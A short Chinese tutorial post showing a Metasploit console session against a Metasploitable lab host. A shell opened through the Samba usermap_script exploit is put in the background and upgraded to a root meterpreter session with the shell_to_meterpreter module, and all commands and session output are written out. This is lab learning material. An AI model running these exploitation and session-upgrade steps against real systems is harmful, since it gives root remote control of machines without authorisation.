msf转meterpreter shell

先ctrl+Z,选择y,则将当前shell放到后台。

Background session 1? [y/N]  y
msf6 exploit(multi/samba/usermap_script) > sessions -l
Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               192.168.160.129:4444 -> 192.168.160.133:37850 (192.168.160.133)
msf6 exploit(multi/samba/usermap_script) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
msf6 post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  1         shell cmd/unix                                                                                           192.168.160.129:4444 -> 192.168.160.133:37850 (192.168.160.133)
  2         meterpreter x86/linux  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo...  192.168.160.129:4433 -> 192.168.160.133:57105 (192.168.160.133)
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > ps

你可能感兴趣的:(基础学习,metasploit)